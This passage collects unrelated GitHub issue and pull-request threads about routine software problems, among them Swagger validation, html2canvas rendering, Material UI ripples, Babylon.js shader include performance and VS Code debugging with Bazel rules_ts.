			validator.RuleFor(u => (u as IAdditional).Version)
				.NotEmpty();
		});

	}
}

Then you can use it your validator by just calling the method with a this prefix:
public class UserValidator : AbstractValidator<IUser> {
    public UserValidator() {
        this.AddSharedRules();
        RuleFor(x => x.Name).NotEmpty();
    }
}

Or alternatively, introduce a base class for all your validators that defines the logic in your base constructor.
Hope that helps.

Thanks, seem's that it works great!


Phoebemirman/ch11719/clicking on order in orderbook nothing happens

Clubhouse Story
this is for launch prep
Submitter checklist

[ ] Test covering functionality added/fixed in
Check the linked story includes the following:

[ ] Steps to reproduce
[ ] Screenshot (If applicable)

Reviewer Checklist

[ ] Test/lint pass

PR needs a refactor.


Swagger validation which was working fine on 12th Feb is now failing validation for type: string, when it contains an example date as value

Example Swagger/OpenAPI definition:

                    "DateOfDelivery": {
                      "example": "2019-09-26",
                      "type": "string"
                    },

Describe the bug you're encountering
The above is part of my swagger spec, and is getting validated ok in editor.swagger.io
We have release pipelines configured. The task 'API Management - Create or Update API' is used in the azure devops release pipeline to configure the api. The task's field 'Definition Artifact' is given the path of the swagger spec file.
The pipeline was running OK on around 12th Feb. Since around 13th Feb we started to get validation errors when the pipeline runs.
Error:
2020-02-14T12:21:06.8150207Z Data and type mismatch found. [#/paths/~1order-product/post/responses/200/content/application~1json/schema/properties/DateOfDelivery/example]
@{code=ValidationError; target=representation; message=Parsing error(s): The input OpenAPI file is not valid for the OpenAPI specification https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md (schema https://github.com/OAI/OpenAPI-Specification/blob/master/schemas/v3.0/schema.yaml).}

Has anything changed around these dates to cause such an issue?
Expected behavior
No errors

Thanks for reporting @nachiketrss
Unless I'm mistaken, this seems to be related to the extension API Management Suite and not the Azure API Management DevOps Resource Kit.
You should try to import the swagger manually in an API management instance. If the problem still shows, it's not an issue with that extension, but probably Azure/Microsoft whom have switched the way the validate swagger files. Then you can either fix it, report a bug to Microsoft, or raise an Azure support issue. If the manual import works, I suggest you create an issue in the extension github.
Closing this as the problem most likely is not related to this repo. (Feel free to reopen if I'm wrong.)


Roll Plugins from d699b4a91381 to<PHONE_NUMBER>f9 (5 revisions)

https://github.com/flutter/plugins/compare/d699b4a91381...5304424565f9
2023-02-17<EMAIL_ADDRESS>[google_sign_in_web] Migrate to the GIS SDK. (flutter/plugins#6921)
2023-02-17<EMAIL_ADDRESS>[in_app_purchase] Update minimum Flutter version to 3.3 and iOS 11 (flutter/plugins#6873)
2023-02-17<EMAIL_ADDRESS>[ios_platform_images] Update minimum version to iOS 11 (flutter/plugins#6874)
2023-02-16<EMAIL_ADDRESS>Roll Flutter from df41e58f6f4e to 22e17bb71050 (28 revisions) (flutter/plugins#7186)
2023-02-16<EMAIL_ADDRESS>[ci] Update iOS simulator (flutter/plugins#7131)
If this roll has caused a breakage, revert this CL and stop the roller
using the controls here:
https://autoroll.skia.org/r/flutter-plugins-flutter-autoroll
Please CC flutter-ecosystem<EMAIL_ADDRESS>on the revert to ensure that a human
is aware of the problem.
To file a bug in Flutter: https://github.com/flutter/flutter/issues/new/choose
To report a problem with the AutoRoller itself, please file a bug:
https://bugs.chromium.org/p/skia/issues/entry?template=Autoroller+Bug
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+doc/main/autoroll/README.md

Commit queue failed; closing this roll.


prepare data

Thank you for the python code. Please can you  help me, how can I prepare and save my videos data to .txt
Thank you.

Thank you for the python code. Please can you help me, how can I prepare and save my videos data to .txt
Thank you.

Please refer to the first sentence in "Training with own dataset",
There are codes for data collecting in "main.py" which I commented out before, you can uncomment them.

Hi,
As I can see in "main.py" file you have used a pre-trained VGG model and action-classifiers which is again using a pretrained .h5 file.
I wanted to create my own action classifier.
right now i am able to regenerate "origin_data.txt"but it is without headers and actions.
Could you please help me out.
I will be very thankful.

Hi,
As I can see in "main.py" file you have used a pre-trained VGG model and action-classifiers which is again using a pretrained .h5 file.
I wanted to create my own action classifier.
right now i am able to regenerate "origin_data.txt"but it is without headers and actions.
Could you please help me out.
I will be very thankful.

I got this problem too.There are without headers and actions in the  origin_data.txt.

Is there any help on this i generated origin_data.txt but no classes nor header


Nav bar height parameter is not being respected when min page height is on the higher side

I want o to have a full screen bottom sheet.
For that I am setting the following parameters
 minPageHeight: .9,
      maxPageHeight: 1,

In .withsinglechild then I am setting nav bar height as

  navBarHeight: 36,
      hasTopBarLayer: true,
      isTopBarLayerAlwaysVisible: true,

The result is following

what I expect is following

Please let me know what am I missing?

Hi @becjit can you try to add forceMaxHeight parameter to true and let us know if this helps?

Yes it does. Thanks
Abhijit
On Mon, Nov 6, 2023 at 1:05 PM Cagatay Ulusoy @.***>
wrote:

Hi @becjit https://github.com/becjit can you try to add forceMaxHeight
parameter to true and let us know if this helps?
—
Reply to this email directly, view it on GitHub
https://github.com/woltapp/wolt_modal_sheet/issues/93#issuecomment-1794231067,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAQ4MLXXNVQ6T5PXVCUGU6LYDCHMJAVCNFSM6AAAAAA66EFTXGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTOOJUGIZTCMBWG4
.
You are receiving this because you were mentioned.Message ID:
@.***>

I am happy to hear that this helps. However, this is still a bug that we need to handle. Thanks for reporting.


How do you render a single element to canvas?

I'd like to render a text box with transparent background to the canvas then save it as a PNG from canvas. Is it possible to render a single div??

I added support for cropping the canvas to the specific element selected for rendering. However, note that it does still render the whole page, and only after that crop to the specific element.
For an example of its use, see the commit:
https://github.com/niklasvh/html2canvas/commit/0cb252ada91c84ef411288b317c03e97da1f12ad

THanks for the reply!. That might posibly work...
I think that might work if I render the element by itself inside an off-screen iframe... Does html2canvas render transparent backgrounds? For example, If I put the element inside an iframe with body, html, * {background: none;} so that all the is visible is some text, can I render it with transparent background like that (or perhaps some other way)?
If that's possible, then once it is in canvas it looks like I can export it as a PNG (with transparency I'm guessing) using canvas' .toDataURL() method.
I'm not sure if this works right now (I tried it with no apparent success), but it'd be neat if html2canvas supported syntax like this:
$('#someDiv').html2canvas('#targetCanvas');
where the #targetCanvas (or any canvas targetted with any jQuery selector) could be set to automatically have the width and height of #someDiv. By width I mean just the viewable portion of the content just like jQuery's width() or height() methods (no padding, border, or margin)...

And to add on that, it'd be cool to specify for html2canvas() to use outerHeight and outerWidth values, and whether or not to include margins (just like jQuery's outerHeight() and outerWidth()) methods.

The syntax could possibly look like this:
$('#someDiv').html2canvas('#targetCanvas'); // ignores padding, border, and margin by default.

$('#someDiv').html2canvas('#targetCanvas', true); // the second argument is true or false, and takes outerWidth and outerHeight into consideration, excluding margins.

$('#someDiv').html2canvas('#targetCanvas', true, true); // the third argument is true or false, specifies whether to take margins into consideration with the outerWidth and outerHeight.

That'd be neato.
What levels of CSS does html2canvas support? I read in the commit you linked to above that CSS1 is fully supported (as long as you use it properly)... How supported are CSS2 and CSS3 (I imagine CSS3 probably the least).
In my case the stuff I want to render is just text with formatting like line-height, letter-spacing, font-weight, etc... Oh, what about font-faces?

@trusktr I'm not sure why you want to render text to the canvas like that, you could do it without html2canvas faster.
about transparency: html2canvas clears the background it renders on with white before it renders anything to it, so no transparency

hmmmm.... I'm just not familiar enough with canvas yet to know how to format text the same way as in HTML (well, I've never tried it before actually).
What I have going on is a text editor (a WYSIWYG) that creates content in a contentEditable div. The text editor can make ordered lists, paragraphs, and all kinds of formatting.
It seems like it'd be much more efficient to develop html2canvas in order to render the html text as an image than creating a WYSIWYG in canvas (no such thing exists that I know of). hehe

yes its easy to get transparent background just remove the 4 lines at:
https://github.com/niklasvh/html2canvas/blob/master/src/Renderer.js#L89
it is however strange that you want to downgrade your users experience from real HTML to an image... no text selection, searching, scaling,...
also i think html2canvas currently has limitations with "all kinds of formatting" or lists ^^

The images of the text will be torrented to other devices to be displayed and such devices use pure OpenGL, not a browser. The user will be completely unaware that images are created behind the scenes. The text that the user edits is saved, and the user can always come back and edit actual text in the WYSIWYG.

If the fonts are loaded in the DOM, they can be used with html2canvas (because it reads everything from the DOM).

Oh ok. I'm not so familiar with that aspect of the DOM. So if a web font is added using @font-face, and used in the styling of an element via CSS, would it be considered "loaded into the DOM".

Yes, that would be the case. Note though, that if it hasn't finished loading the font by the time the html2canvas script runs, it won't use the font.
See: http://jsfiddle.net/zMKge/

Oh nice. That's freacking cool! (Thanks for that tidbit about loading. $(window).load() can take care of that)...
From what I can tell in the examples I looked at, .html2canvas() creates a new canvas element to render the target in. Can I specify what canvas to render in?

With the latest version (you'll need to build it yourself) there is an option to define the canvas. You set it in the options variable with parameter canvas, and it takes an Element of type canvas. If it isn't defined, it creates one.
See: https://github.com/niklasvh/html2canvas/blob/master/src/renderers/Canvas.js#L15


How to train MaskRCNN for only detection task?

Is it possible to train the MaskRCNN model for only the object detection task? The dataset I'm using contains only bounding boxes. When the training is started it results in the error:
TypeError: 'NoneType' object is not iterable

Which is expected since no masks are provided as input.

Hi @krishvishal
In this case, you need to use FasterRCNN.


Automatically generate the documentation for the different commands

Documentation available in README.md is manually maintained, it would be nice to automate its generation


Typo in Section 8.7, Book 1: "Probabilistic Machine Learning: An Introduction"

The sentence below appears twice in the first paragraph of Section 8.7:

In the context of maximization, MM stands for minorize-maximize.

Really love your book. It is the best ML book I have ever read! Thank you and look forward to book 2.

glad you like it! I have fixed this typo.


[Material You] Add ripple on the button

Preview: https://codesandbox.io/s/jovial-currying-g7u9m0?file=/demo.tsx
Docs: https://deploy-preview-35299--material-ui.netlify.app/material-ui/react-button/#material-you-version
The only change in the TouchRipple component is the value for the opacity, which now matches the one defined in the state's layer opacity for focused/pressed states.
In addition to this, I've also decided to apply the changes from https://github.com/mui/material-ui/pull/34258 regarding the focus ripple, as it is anyway a step in the right direction.

As far as I understand it, in MD2, buttons focused with keyboard shouldn't have the ripple at all. Only the background color and drop shadow change. #34258 does not conform with the spec in this matter (but is less of a breaking change). I suppose we could make this change in material-next (unless you found official demos or libraries showing the ripple on focus in MD3).

I suppose we could make this change in material-next (unless you found official demos or libraries showing the ripple on focus in MD3).

You are right, there isn't any ripple on focus, I couldn't find anything about it on the spec, and the Flutter implementation also doesn't have the focus ripple, so it makes sense for us to drop it. I will update the implementaiton.

That's likely for another PR, but during testing, I found out that the focus state of a filled button is almost indistinguishable from the normal state. The spec shows a darker color: https://m3.material.io/components/buttons/specs#cd245ab1-c10a-4a1c-bb13-d6a08b9abfc5
normal:

focused (ours):

focused (spec):

That's likely for another PR, but during testing, I found out that the focus state of a tonal button is almost indistinguishable from the normal state. The spec shows a darker color: https://m3.material.io/components/buttons/specs#cd245ab1-c10a-4a1c-bb13-d6a08b9abfc5

It's strange because the code followed what was in the spec. I've also checked the tokens and they are correct. I am not sure where's the difference. I've updated the value to a darker color, but we likely need to revisit this again.

👍 Overall LGTM. just have one question, I could not find the ripple on the official site. Is adding the ripple to ease the migration or do I missed the spec?

Because of the reasons mentioned in https://github.com/mui/material-ui/issues/29345#issuecomment-1328563139. I feel like it is missed in the spec.

I feel like it is missed in the spec.

It's great that someone from the community has let us know. Still, I wonder if it's worth the work of checking out how Material You is implemented in Flutter/Android and replicating it on the web before they themselves update the web documentation. That said, and if it's the case of not being worth it, it might be helpful to document that we'll be mostly following whatever is documented in the web docs (and the community should still feel free to point things out).

That said, and if it's the case of not being worth it, it might be helpful to document that we'll be mostly following whatever is documented in the web docs (and the community should still feel free to point things out).

This is more or less what will happen. I don't think we need some special announcement that we are going to work this way tough :)


why is showing in left top ? isn't center ?

my code :
`

(void)viewDidLoad {
[super viewDidLoad];
[self.tableView registerClass:[UITableViewCell class] forCellReuseIdentifier:@"cell"];
self.tableView.hidden = YES;
[SVProgressHUD showWithStatus:@"show"];
}

`
Screen Shot Image：

Tried all the methods they said failed

self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];

the same issue

you can use this func to solve this problem     [SVProgressHUD setOffsetFromCenter:(UIOffsetMake(UIApplication.sharedApplication.keyWindow.center.x, UIApplication.sharedApplication.keyWindow.center.y))];

Yes, the huge problem remains

Any update on this issue?
It hit me after I switched my app to UISceneSession (for Multiple Window support)

I've updated the component and addressed several bugs. Please review version 2.3.0, and should you find any remaining issues, your feedback would be greatly valued.


The visit() method is expected to return a RequestInterface but it doesn't in JsonLocation

in guzzle6, Serialize::prepareRequest() calls visit() but it expects a RequestInterface that goes to replace the one passed to the method. The visit() implementation of JsonLocation only writes to $this->jsonData and doesn't return anything, so the origina request is replaced with null.

Duplicated, sorry


PP-10957: Use logging filter

Switch from using java.net.http.HttpClient to using javax.ws.rs.client.Client

This lets us add a logging filter to the client - this could not be done when we were using HttpClient
It also brings the project into line with how other Pay projects perform http requests

Update tests - the new Client deals with deserialising body content automatically, so our implementation code is now doing less and the scope of some unit tests is thus diminished

I'm afraid I didn't get time actually test this, beyond running the automated tests.  It needs to be tested running locally (to verify that requests do get logged), and will also need testing after being merged to production, to verify that X-Request-Ids are correctly written to the logs (which can't be reproduced when testing locally).

I had everything running locally so have had a quick run through of this, results (slightly trimmed down) as follows
{
    "@timestamp":"2023-05-26T12:28:26.627Z",
    "@version":"1",
    "message":"Got subscribed webhook endpoints",
    "logger_name":"uk.gov.pay.webhooks.message.WebhookMessageService",
    "thread_name":"queue-message-receiver-2",
    "level":"INFO",
    "ledger_event_type":"USER_APPROVED_FOR_CAPTURE",
    "resource_external_id":"3i47s9864ge8l35onhrpgrq3q5",
    "container":"webhooks"
}
{
    "@timestamp":"2023-05-26T12:28:26.629Z",
    "@version":"1",
    "message":"[1194bd91-aa4e-40bd-ac8b-00b42f565834] - GET to http://ledger:10700/v1/transaction/3i47s9864ge8l35onhrpgrq3q5?override_account_id_restriction=true began",
    "logger_name":"uk.gov.service.payments.logging.RestClientLoggingFilter",
    "level":"INFO",
    "ledger_event_type":"USER_APPROVED_FOR_CAPTURE",
    "resource_external_id":"3i47s9864ge8l35onhrpgrq3q5",
    "container":"webhooks"
}
{
    "@timestamp":"2023-05-26T12:28:26.658Z",
    "@version":"1",
    "message":"[1194bd91-aa4e-40bd-ac8b-00b42f565834] - GET to http://ledger:10700/v1/transaction/3i47s9864ge8l35onhrpgrq3q5?override_account_id_restriction=true ended - total time 28ms",
    "logger_name":"uk.gov.service.payments.logging.RestClientLoggingFilter",
    "level":"INFO",
    "ledger_event_type":"USER_APPROVED_FOR_CAPTURE",
    "resource_external_id":"3i47s9864ge8l35onhrpgrq3q5",
    "method":"GET",
    "url":"http://ledger:10700/v1/transaction/3i47s9864ge8l35onhrpgrq3q5?override_account_id_restriction=true",
    "status_code":200,
    "response_time":28,
    "container":"webhooks",
}
{
    "@timestamp":"2023-05-26T12:28:26.671Z",
    "@version":"1",
    "message":"Persisted and queued webhook message to send",
    "logger_name":"uk.gov.pay.webhooks.message.WebhookMessageService",
    "level":"INFO",
    "ledger_event_type":"USER_APPROVED_FOR_CAPTURE",
    "resource_external_id":"3i47s9864ge8l35onhrpgrq3q5",
    "webhook_message_external_id":"6g9r5ig5qbdvddh9qe9vhjoclq",
    "webhook_external_id":"pp3f03hphjkolg265t5m0js2hk",
    "to_state":"PENDING",
    "webhook_event_type":"card_payment_succeeded",
    "container":"webhooks",
}
{
    "@timestamp":"2023-05-26T12:28:26.78Z",
    "@version":"1",
    "message":"Successfully processed event message",
    "logger_name":"uk.gov.pay.webhooks.queue.EventMessageHandler",
    "level":"INFO",
    "ledger_event_type":"USER_APPROVED_FOR_CAPTURE",
    "resource_external_id":"3i47s9864ge8l35onhrpgrq3q5",
    "container":"webhooks",
}


Coinbase addresses from some blocks not logged

@bigreddmachine, due to a repository migration, this is a copy of your issue from 4 Mar 2017:
I am working on some things using the bitcore and insight APIs and have set up insight-ui-dash, insight-api-dash, and bitcore-node-dash in an Ubuntu virtual machine on my laptop so that I don't abuse the explorer here: https://insight.dash.siampm.com/Everything seems to have gone fine on install and the explorer ui and api both seem to be working nicely. However, as I've been building out methods, I encountered an issue that I can't resolve.If I query the API for coinbase address histories, many addresses do not appear to have been indexed. This does not seem to be an issue for addresses with more than 1 block mined, such as those controlled by pools. The block explorer mentioned about on siampm.com does not seem to have this issue, so I was wondering if there is some kind of flag I need to tweak or patch to apply to fix my issue.

Closed in parent repo


Packages Compilation Error

Some installed packages could not be loaded because they contain native modules that were compiled for an earlier version of Atom.
/Applications/Atom.app/Contents/Resources/app/apm/node_modules/npm/bin/node-gyp-bin/node-gyp: line 3: node: command not found
npm ERR! Darwin 14.5.0
npm ERR! argv "/Applications/Atom.app/Contents/Resources/app/apm/bin/node" "/Applications/Atom.app/Contents/Resources/app/apm/node_modules/npm/bin/npm-cli.js" "--globalconfig" "/Users/mac_115/.atom/.apm/.apmrc" "--userconfig" "/Users/mac_115/.atom/.apmrc" "rebuild" "--target=0.30.6" "--arch=x64"
npm ERR! node v0.10.40
npm ERR! npm  v2.13.3
npm ERR! file sh
npm ERR! code ELIFECYCLE
npm ERR! errno ENOENT
npm ERR! syscall spawn
npm ERR<EMAIL_ADDRESS>install: node-gyp rebuild
npm ERR! spawn ENOENT
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script 'node-gyp rebuild'.
npm ERR! This is most likely a problem with the fsevents package,

Duplicate of #583

Fixed with 6.0.12 :rose:


Proxy in Crouton

Output of sudo edit-chroot -all:
name: impish
encrypted: no
Entering /mnt/stateful_partition/crouton/chroots/impish...
crouton: version 1-20220111101058~master:a9eafaee
release: impish
architecture: amd64
xmethod: xorg
targets: xfce
host: version 14447.0.0 (Official Build) dev-channel grunt
kernel: Linux localhost 5.10.90-13954-g9d5c1d80365c #1 SMP PREEMPT Sun Jan 9 06:48:07 PST 2022 x86_64 x86_64 x86_64 GNU/Linux
freon: yes
Not unmounting /mnt/stateful_partition/crouton/chroots/impish as another instance is using it.

My issue:
I use my Laptop with Crouton a lot in school (which has a proxy-server), but I cant setup it in crouton.
When I open Network-Settings, a error occurs, saying "Oops something went wrong, Network-Manager needs to be running"
Is there a other discussion or a possible about it?
How to reproduce:
Open Network settings.

You need to use Chrome OS's default network manager.
The global systemwide settings should take effect in crouton.
99% of DEs are tailored to full Linux.

No, There is a way...


Upon elevated installation, application should be started with the logged in user account

Hi @xmichelo,
Expected behavior

when installing Beeftext, if the currently logged in user does not have administrator privileges, the setup will request a privilege elevation asking for an administrator account, so far so good...
at the end of the setup, one has the possibility to start the just installed application,
if this is accepted, the application is started using the administrator account

Actual behavior
In step 3, the application should be started with the logged in user account
Steps to reproduce the behavior
Install Beeftext while the currently logged in user is not an administrator
Operating system
W7
Thanks in advance!

Hi, @TerDale
You're right. Beeftext uses NSIS for its installer. There is a UAC plugin that could fix the problem, but it is considered beta and has not been updated in 3 years, so it would require quite a lot of testing.
I want to evaluate alternative installer technologies, so I will take time to investigate various approaches.

Salut Xavier,
OK, thanks for taking this issue into account.
However, I should have stated that it is low priority FMPOV, as once Beeftext is exited, one will run it again with its least privilege user account.


Otp not showing the code

Everytime I tap to show the code nothing happens?

You need to provide more information for anyone to reproduce your issue.
Maybe look at this template: https://www.geeksforgeeks.org/how-to-write-a-good-bug-report/


Sub-states examples?

Is it possible to use this library for states that have sub-states?

Nope, it only allows to model a plain old state machine. You can of course use multiple machines to achieve what you want (if I understood you correctly)


Shader processor include optimization

I have a pretty big scene (100+ meshed, 50+ shaders) in glb format, when it loaded the loop in the ShaderProcessor._ProcessIncludes() was called 4927 times, and takes 200.57 ms and each loop take 0.0407ms. This values bases on 30 runs.
After performance optimzations I got next result — the loop calls 3955 times, takes 70.82ms for all calls and 0.0179ms per one loop.

I make regex as a static fields to avoid builing it in runtime.
Change string replaces from regex to regular string where it possible.
Replace while loop to for-of to avoid uneccessary .exec() at end of while-loop.
Replace very heavy string replace opertation to parts.join("") (more then 2x boost here)
Fix warning from new String().

Every change puts in a single commit.
For future discussing - we also can change this part:
for (let index = 0; index < splits.length; index += 2) {
    const source = new RegExp(splits[index], "g");
    const dest = splits[index + 1];
    includeContent = includeContent.replace(source, dest);
}

with .replaceAll and save 5-7ms for all loading time (it would be 65ms for all calls in my case). But now I can't use it because TS2550: Property 'replaceAll' does not exist on type 'string'. Do you need to change your target library? Try changing the 'lib' compiler option to 'es2021' or later.

Please make sure to label your PR with "bug", "new feature" or "breaking change" label(s).
To prevent this PR from going to the changelog marked it with the "skip changelog" label.

The build is failing with the error:

generated/Engines/Processors/shaderProcessor.ts(383,29): error TS2802: Type 'IterableIterator' can only be iterated through when using the '--downlevelIteration' flag or with a '--target' of 'es2015' or higher.

cc @RaananW in case we can make something about it, but you may have to use iterators "by hand" instead of the for ... of construct.
Also, TS2550: Property 'replaceAll' does not exist on type 'string'. Do you need to change your target library? Try changing the 'lib' compiler option to 'es2021' or later. is very strange, are you sure you are not passing it wrong parameters?

cc @RaananW in case we can make something about it, but you may have to use iterators "by hand" instead of the for ... of construct.

Our UMD version is build with an old(er) target due to backwards compatibility. We will need to see if anyone is influenced by moving the target to es2015. But yes -  using a different style of iteration (like we use throughout the framework) would be a better solution.

TS2550: Property 'replaceAll' does not exist on type 'string'. Do you need to change your target library? Try changing the 'lib' compiler option to 'es2021' or later

I don't mind adding "ES2021.String" as a lib to support replaceAll (typescript is right - it was added in es2021) you could also add the declaration to our mixins/polyfill file, which will have the same impact
interface String {
    /**
     * Replace all instances of a substring in a string, using a regular expression or search string.
     * @param searchValue A string to search for.
     * @param replaceValue A string containing the text to replace for every successful match of searchValue in this string.
     */
    replaceAll(searchValue: string | RegExp, replaceValue: string): string;

    /**
     * Replace all instances of a substring in a string, using a regular expression or search string.
     * @param searchValue A string to search for.
     * @param replacer A function that returns the replacement text.
     */
    replaceAll(searchValue: string | RegExp, replacer: (substring: string, ...args: any[]) => string): string;
}

Please make sure to label your PR with "bug", "new feature" or "breaking change" label(s).
To prevent this PR from going to the changelog marked it with the "skip changelog" label.

@Popov72 @RaananW there is an error in CI:
Failed tasks:

   - @lts/core:build

##[warning]Couldn't find a debug log in the cache or working directory
##[error]Error: Npm failed with return code: 1

Do you know how to fix it?

the error i see is the iterator (es2015) during the umd build. Where do you see the npm issue?

Ye, thanks! Now I see it too =)

Please make sure to label your PR with "bug", "new feature" or "breaking change" label(s).
To prevent this PR from going to the changelog marked it with the "skip changelog" label.

Snapshot stored with reference name:
refs/pull/13934/merge
Test environment:
https://babylonsnapshots.z22.web.core.windows.net/refs/pull/13934/merge/index.html
To test a playground add it to the URL, for example:
https://babylonsnapshots.z22.web.core.windows.net/refs/pull/13934/merge/index.html#WGZLGJ#4600
Links to test babylon tools with this snapshot:
https://playground.babylonjs.com/?snapshot=refs/pull/13934/merge
https://sandbox.babylonjs.com/?snapshot=refs/pull/13934/merge
https://gui.babylonjs.com/?snapshot=refs/pull/13934/merge
https://nme.babylonjs.com/?snapshot=refs/pull/13934/merge
To test the snapshot in the playground with a playground ID add it after the snapshot query string:
https://playground.babylonjs.com/?snapshot=refs/pull/13934/merge#BCU1XR#0


Add full brightness option for when viewing thumbnails

I can't see the thumbnails clearly unless the brightness is on full.
It would be good if there was similar option for thumbnails as there is for full screen view. That is, full brightness while viewing thumbnails.
An alternative is to manually turn the brightness up.

So it would be full brightness everywhere, for thumbnails and full screen? It seems the alternative you pointed, adjusting the brightness at the OS level, makes more sense in this case.

Well not really in that photos look better at full brightness where as text
is too bright then. I think if full screen photos look better brighter then
why not thumbnails? Having to turn your phone to full brightness, manually,
every time you open Aves would be annoying I think.
On Thu, 27 Apr 2023, 3:10 am Thibault Deckers, @.***>
wrote:

So it would be full brightness everywhere, for thumbnails and full screen?
It seems the alternative you pointed, adjusting the brightness at the OS
level, makes more sense in this case.
—
Reply to this email directly, view it on GitHub
https://github.com/deckerst/aves/issues/612#issuecomment-1523776502, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AVNKTENS2MVPWYC2TRYYTJ3XDFJJVANCNFSM6AAAAAAXMIKHYU
.
You are receiving this because you authored the thread.Message ID:
@.***>

Oh, I forgot to mention, I sometimes turn mosaic thumbnail size all the way up and then scroll through the thumbnails as a way of viewing photos. Having full screen brightness here also helps. I like this way of viewing photos sometimes, as it is like looking at a webpage where you can slowly scroll down for each photo.

I'm not fully convinced, but actually the cost of implementing it is very low, so why not. I'll probably move the existing "maximum brightness" toggle and make it a choice in never / always / viewer only.

Would it be a good idea to have custom brightness instead of maximum brightness because maximum brightness hurt the eyes, especiallly at night.
Phones with high nits of brightness i.e. 1300 nits would also benefit from custom brightness option.

@JimW1at why not simply rely on the OS adaptive brightness then? It knows what's best for the current luminosity and display properties.

@JimW1at why not simply rely on the OS adaptive brightness then? It knows what's best for the current luminosity and display properties.

Yes that is true, but a custom brightness option would be a  better alternative because it will allow me set 600 nits as default instead of 1300 nits. The OS adaptive one always mess up brightness at night or day. I think this app will benefit from custom brightness also this is a gallery app viewing pictures and videos are its main purpose and having custom brightness option will further enhance user experience in my opinion.
Btw, is this option complex/difficult to implement , asking this because i am not a developer :)
Just want to know. Thanks anyway.

You probably won't like my answer, but here it is: it is not difficult to implement, but I think the use case does not justify making the settings fiddlier. Incrementally, each little bit of fiddliness does not look like much, but in aggregate they make the app bloated. The settings are already not as lean as I'd like them to be.

You probably won't like my answer, but here it is: it is not difficult to implement, but I think the use case does not justify making the settings fiddlier. Incrementally, each little bit of fiddliness does not look like much, but in aggregate they make the app bloated. The settings are already not as lean as I'd like them to be.

Ok. I understand your point. You do not want settings page to get bloated with extra options.But can we get these extra options with something like an advanced settings option which will be off by default so that it will ruin user experience of the app. Users who would want these experimental settings can simply turn on advanced setting option to get those options.
This is only my idea you are free to ignore.


Money component: comma replacement

Instead of having 0,30 I would like to see 0.3
may related with #3868

Hello, I'll love to work on this task please assign it to me.


Debugging with rules_ts

Hi!
After migrating from rules_nodejs to rules_js + rules_ts, I'm having some issues regarding the debug setup in vscode. I followed this page in order to attach a debugger to a Node.js process and I've managed to do it successfully. However, after the rule migration this stopped working and I'm having issues with unbound breakpoints. Are there any extra steps that are needed to make this work with the new set of rules?

Debugging with rules_js + rules_ts should be simpler than with rules_nodejs as you shouldn't need any sourceMapPathOverrides. Since source files are always copied to the output tree, the paths in source maps in rules_js + rules_ts should be correct and point to the source file copies in the output tree.
I added some debugging documentation to rules_js https://github.com/aspect-build/rules_js/blob/c0c9a3b60713c7bcc36fa1cb3f81bf42d0ed5b77/docs/README.md#debugging.
For rules_ts, as long as there as source maps that the debugger can see (either inline or as .map files) then it should show the .ts file in the debugging window:

You can try it in this repository on this js_test target: https://github.com/aspect-build/rules_ts/blob/6dce878248a9a91b93d4573db6133927ab15c0f3/examples/js_test/BUILD.bazel#L17

Hi @gregmagolan, thanks for the detailed response. After replicating your steps this seems to work. However, if I put a breakpoint in a different line:

I still have unbound breakpoints:

I was expecting that setting breakpoints in the original source file would generate them in the "sandbox" (/private/var/tmp/...) file.

If you're setting your breakpoints in the .ts files in the source tree that won't work since under rules_js everything happens in the output tree. Can you try setting your breakpoints in the .ts files under bazel-bin instead?

Hi @gregmagolan, I've tried to set a breakpoint in the test.ts file under bazel-bin and I still have the same problem.

@gregmagolan I guess we need this in TS in order to debug from source tree?
https://github.com/microsoft/TypeScript/issues/31873

microsoft/TypeScript#31873

Oh nice. Glanced over that issue and it looks like it may do the trick.
cc @alexeagle

I've managed to debug a ts_project that's run through a js_binary using the following launch config in vscode:
{
  // Use IntelliSense to learn about possible attributes.
  // Hover to view descriptions of existing attributes.
  // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
  "version": "0.2.0",
  "configurations": [
    {
      "type": "node",
      "request": "launch",
      "name": "debug",
      "runtimeExecutable": "bazel",
      "runtimeArgs": [
        "run",
        "//:main"
      ],
      "sourceMaps": true,
      "resolveSourceMapLocations": null,
      "sourceMapPathOverrides": {
        "*": "${workspaceFolder}/*"
      }
    }
  ]
}

The key things that made it work were:

resolveSourceMapLocations=null

needed so that vscode searches and finds the source maps. "null" was used because the docs say "May be set to an empty array or null to avoid restriction."

sourceMapPathOverrides

needed so that vscode knows to map the file path from the bazel output tree back into the original workspace source tree.
the mapped path may need to change depending on your project layout (i.e. if you open vscode in the WORKSPACE or a sub-directory).

I'm building my ts_project like this:
ts_project(
    # ...
    name="src",
    source_map = True,
    transpiler = partial.make(
        swc,
        source_maps = "true",
        swcrc = ".swcrc",
    ),
    # ...
)

js_binary(
    name = "main",
    data = [":src"],
    entry_point = "main.js",
)

I've managed to debug a ts_project that's run through a js_binary using the following launch config in vscode:
{
  // Use IntelliSense to learn about possible attributes.
  // Hover to view descriptions of existing attributes.
  // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
  "version": "0.2.0",
  "configurations": [
    {
      "type": "node",
      "request": "launch",
      "name": "debug",
      "runtimeExecutable": "bazel",
      "runtimeArgs": [
        "run",
        "//:main"
      ],
      "sourceMaps": true,
      "resolveSourceMapLocations": null,
      "sourceMapPathOverrides": {
        "*": "${workspaceFolder}/*"
      }
    }
  ]
}

The key things that made it work were:

resolveSourceMapLocations=null

needed so that vscode searches and finds the source maps. "null" was used because the docs say "May be set to an empty array or null to avoid restriction."

sourceMapPathOverrides

needed so that vscode knows to map the file path from the bazel output tree back into the original workspace source tree.
the mapped path may need to change depending on your project layout (i.e. if you open vscode in the WORKSPACE or a sub-directory).

I'm building my ts_project like this:
ts_project(
    # ...
    name="src",
    source_map = True,
    # transpiler = partial.make(
    #     swc,
    #     source_maps = "true",
    #     swcrc = ".swcrc",
    # ),
    # ...
)

js_binary(
    name = "main",
    data = [":src"],
    entry_point = "main.js",
)

I had to disable the SWC transpiler because I found it broke the ability to set break points in lots of places such as lines that have await expressions. I think SWC may have an issue with it's source map creation because it worked well with tsc only.

I didn’t think too much. Perhaps I don’t need the js_binary. In any case I was setting breakpoints in my source TS files under my workspace.

